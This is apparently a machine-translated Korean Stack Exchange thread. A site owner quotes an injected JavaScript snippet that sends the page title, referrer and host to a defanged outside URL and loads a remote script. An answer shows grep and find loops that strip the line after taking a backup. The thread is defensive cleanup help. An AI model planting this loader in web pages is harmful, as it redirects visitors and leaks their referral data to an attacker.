내 웹사이트가 해킹/감염되었습니다. 악성 링크의 URL을 교체했지만 악성 스크립트의 다른 요소로 인해 여전히 내 사이트가 차단되었습니다. 100개 정도의 "이스케이프"를 삽입하지 않고 내 사이트에 있는 36개 파일에서 다음 스크립트를 어떻게 제거할 수 있습니까?
< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>
stack-exchange의 다른 페이지에서는 이 질문에 답하지 않습니다.
악성 URL을 xxxx_hack_was_here 등으로 바꾸려면 다음을 사용했습니다.
find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +
답변1
우선 위의 의견에 동의합니다.sed
해킹당했을 때 복구하는 데 사용하지 마세요 . 당신은 뭔가를 놓친 것이 아닌지 항상 궁금해합니다. 백업에서 복원, 기간.
그러나 귀하가 제기하는 문자 그대로의 질문, 즉 모든 특수 문자를 이스케이프 처리하지 않고 긴 문자열의 모든 항목을 제거하는 방법은 처리하기가 다소 쉽습니다.
귀하의 질문에서 몇 가지 추론/가정을 만들고 있지만 실제로 직접적으로 언급하지는 않습니다.
- 삭제할 문자열은 한 줄입니다.
- 매번 똑같은 일이 일어납니다.
- 그럴 필요가있다삭제됨, 다른 것으로 대체하지 않고.
위의 가정이 맞다면 다음을 수행하십시오.
- 제거하려는 문자열(후행 공백 포함)을
hackline.txt
Put this layer 라는 별도의 파일에 넣습니다.이상처리하려는 디렉터리입니다. 오류가 발생할 경우 전체 디렉터리를 복사하세요.
cp -a mydir mydircopy
Hackline의 모든 인스턴스를 제거하려면 디렉터리(또는 복사본)에서 다음 루프를 실행하세요.
cd mydir for f in *; do [ -f "$f" ] && [ -r "$f" ] || continue grep -vxFf ../hackline.txt "$f" > "$f.fixed" && mv -- "$f.fixed" "$f" done
여기서의 개념은 이를 hackline.txt
전체 행과 일치해야 하는 고정된 문자열 목록으로 사용한 다음 grep
이를 사용하여 일치하는 행을 얻는 것입니다.아니요이 문자열 목록을 일치시킵니다.
-x
"전체 라인"을 의미하며 -F
"정규 표현식이 아닌 고정 문자열"을 의미합니다. 파일의 패턴 목록을 허용합니다 -v
.-f
웹 사이트 디렉토리가 평면이 아닌 계층 구조인 경우(실제로 가능함) find
for 루프를 대신 사용할 수 있습니다.
find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;
그런 다음 재귀를 사용하여 diff
모든 것이 올바른지 확인합니다.
diff -r mydircopy mydir